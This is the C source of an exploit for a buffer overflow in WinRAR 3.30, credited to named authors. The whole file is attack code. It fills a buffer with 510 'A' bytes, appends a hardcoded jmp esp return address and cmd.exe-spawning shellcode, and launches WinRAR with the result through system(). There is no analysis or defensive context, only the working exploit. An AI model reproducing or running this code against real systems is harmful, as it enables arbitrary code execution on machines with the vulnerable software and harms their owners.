/* WinRAR Buffer Overflow 3.30 Exploit
*
* Bug founded by: Vredited By Alpha Programmer & Trap-Set U.H Team
* Exploit made by: K4P0
* Contact: [email protected]
*/
#include <stdio.h>
#include <windows.h>
int main(void)
{
char EvilBuff[1024];
// Normal cmd.exe shellcode.
char shellcode[] = "\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63"
"\xC6\x45\xF9\x6D\xC6\x45\xFA\x64\xC6\x45\xFB\x2E\xC6"
"\x45\xFC\x65\xC6\x45\xFD\x78\xC6\x45\xFE\x65\x8D\x45"
"\xF8\x50\xBB\x44\x80\xBF\x77\xFF\xD3";
char jmpesp_offset[] = "\x0F\x98\xF8\x77";
char Prog[1024] = "WinRAR ";
printf("WinRAR Buffer Overflow 3.30 Exploit\n\n");
printf("Bug discovered by: Vredited By Alpha Programmer & Trap-Set U.H Team\n");
printf("Exploit made by: K4P0\n");
memset(EvilBuff, 0x00, 1024);
memset(EvilBuff, 0x41, 510);
strncat(EvilBuff, jmpesp_offset, 1024);
strncat(EvilBuff, shellcode, 1024);
strncat(Prog, EvilBuff, 1024);
printf("\nExploiting...\n");
system(Prog);
return 0;
}
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